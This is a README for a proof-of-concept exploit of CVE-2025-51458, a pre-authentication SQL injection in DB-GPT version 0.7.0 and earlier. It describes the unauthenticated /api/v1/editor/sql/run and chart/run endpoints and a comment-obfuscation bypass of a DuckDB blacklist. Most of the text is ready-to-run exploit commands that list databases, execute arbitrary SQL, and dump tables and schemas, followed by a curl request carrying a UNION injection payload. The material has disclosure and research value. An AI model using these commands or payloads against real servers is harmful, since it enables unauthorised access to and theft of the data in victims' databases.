
CVE-2025-51458 - DB-GPT Pre-Auth SQL Injection PoC
Pre-Auth SQL Injection in DB-GPT <= 0.7.0
The /api/v1/editor/sql/run and /api/v1/editor/chart/run endpoints accept arbitrary SQL without authentication. The sanitize_sql blacklist only covers DuckDB; MySQL, PostgreSQL, and SQLite connections receive raw user input with no filtering. The DuckDB blacklist itself can be bypassed via comment obfuscation (SEL/**/ECT).
This is a bypass of CVE-2024-10835 and CVE-2024-10901.
# List databases
python3 exp.py http://target:5670 --list-dbs
# Execute SQL
python3 exp.py http://target:5670 <db_name> --sql "SELECT VERSION()"
# Dump tables
python3 exp.py http://target:5670 <db_name> --dump-tables
# Dump schema
python3 exp.py http://target:5670 <db_name> --dump-db
# DuckDB bypass
python3 exp.py http://target:5670 <db_name> --duckdb-bypass --sql "SELECT CURRENT_SETTING('access_mode')"
# Interactive mode
python3 exp.py http://target:5670 <db_name>
curl -X POST "http://target:5670/api/v1/editor/sql/run" \
-H "Content-Type: application/json" \
-d '{"db_name":"test_db","sql":"SELECT 1 UNION ALL SELECT table_name FROM information_schema.tables--"}'